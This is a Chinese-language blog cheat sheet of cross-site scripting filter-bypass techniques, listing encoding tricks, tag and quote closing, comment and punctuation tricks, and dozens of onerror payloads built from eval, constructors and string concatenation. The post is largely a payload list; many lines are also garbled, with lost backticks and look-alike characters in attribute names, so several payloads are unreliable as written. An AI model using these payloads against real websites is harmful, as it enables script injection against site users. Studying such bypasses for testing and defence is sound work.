XSS绕过方法总结

htmlspecialchars():将预定义字符转为实体编码
  • " < > & ' 等字符转为文本型实体编码
常用的xss注入方法
  • <img>标签
  • <a>标签
  • <input>标签
  • 事件触发

    • onmouseover
    • onclick
    • onfocus等
XSS寻找和绕过
  • 找信息交互处;输入信息看回显和页面源码;找输入信息是否存在(判断xss是否存在)
    • 搜索框;留言板等
  • 根据源码分析xss绕过方法

    • 引号闭合
    • 标签闭合
    • 大小写绕过
    • 双写绕过
    • &截断 /#截断
    • %09 %0a %0d / 绕过(针对关键字/空格过滤)
    • ng-include外包文件绕过(DOM中)
      • 引入文件作为当前节点的子节点
    • bp抓包绕过(针对前端限制或隐藏标签)
    • 编码绕过

      • url编码

        • 可以二次url编码;针对%可以一直编码为%25,不断叠加
        • 如w编码是%77;二次编码就是%2577
      • html实体编码

        • 文本型
        • 十进制
        • 十六进制
      • js编码(unicode编码)
    • 注释符绕过
      • html注释有两种

        • <!-- -->
        • <!-- --!>
        • -->可以表示单行注释
    • 古英文符号绕过
      • ſ :表示s的另一种写法;转为大写是S
    • 不完整标签绕过
      • <img src οnerrοr="alert(1)"
    • </style > :中间加空格不影响标签效果
    • 针对url过滤时

      • url编码
      • 使用ip绕过

        • ip十进制
        • ip八进制
        • ip十六进制
        • 使用//代替http://(也可以使用\代替)
      • 使用中文的标点符号代替英文符号进行绕过
        • <img src="x" οnerrοr="document.location=``http://www。baidu。com``">
    • 括号过滤()

      • throw绕过
        • <svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';">
      • 反引号代替`(esc下面的键)
      • 编码绕过
    • 函数(重点)

      • 字符串拼接函数(用法都一样)

        • eval
          • <img src="x" οnerrοr="eval('al'+'ert(1)')">
        • top
          • <img src="x" οnerrοr="top'al'+'ert'(1)">
        • window
        • self
        • parent
        • frames
      • 常用函数

        • <img src="x" οnerrοr="eval(alert(1))">
        • <img src="x" οnerrοr="open(alert(1))">
        • <img src="x" οnerrοr="document.write(alert(1))">
        • <img src="x" οnerrοr="setTimeout(alert(1))">
        • <img src="x" οnerrοr="setInterval(alert(1))">
        • <img src="x" οnerrοr="Set.constructor(alert(1))">
        • <img src="x" οnerrοr="Map.constructor(alert(1))">
        • <img src="x" οnerrοr="Array.constructor(alert(1))">
        • <img src="x" οnerrοr="WeakSet.constructor(alert(1))">
        • <img src="x" οnerrοr="constructor.constructor(alert(1))">
        • <img src="x" οnerrοr="1.map(alert(1))">
        • <img src="x" οnerrοr="1.find(alert(1))">
        • <img src="x" οnerrοr="1.every(alert(1))">
        • <img src="x" οnerrοr="1.filter(alert(1))">
        • <img src="x" οnerrοr="1.forEach(alert(1))">
        • <img src="x" οnerrοr="1.findIndex(alert(1))">
      • 赋值拼接

        • <img src οnerrοr==alert,(1)>
        • <img src x=al y=ert οnerrοr=topx+y(1)>
        • <img src οnerrοr=topa='al',b='ev',b+a('alert(1)')>
        • <img src οnerrοr='ale'+'rt'.map(top'ev'+'al')0'valu'+'eOf'()(1)>
相关推荐
小妖6668 分钟前
React input 输入卡顿问题
前端·javascript·react.js
এ慕ོ冬℘゜8 分钟前
JavaScript 数据类型检测与转换、运算符超全实战详解
前端·html
kyriewen26 分钟前
我用 AI 写代码快了 3 倍——然后同事的 Code Review 全变成了我的
前端·程序员·ai编程
李明卫杭州1 小时前
Vue2 portal-target 组件与 Vue3 的针对性优化
前端·javascript·vue.js
Tyler_12 小时前
iOS PlayWright mcp server
前端·ios·ai编程
嘟嘟07173 小时前
从零理解 MCP:手写一个本地 MCP Server 并接入 LangChain Agent
前端·后端
cocoafei3 小时前
GPT-5.6 后,别再混淆 ChatGPT 和 Codex 额度了
前端·人工智能·chatgpt
你怎么知道我是队长3 小时前
JavaScript的函数介绍
开发语言·前端·javascript
weedsfly3 小时前
观察者模式 vs 发布-订阅模式:从概念到实战,一次讲清楚
前端·javascript·面试
暗不需求3 小时前
手写 AJAX:从 XMLHttpRequest 到封装一个简易 axios
前端·面试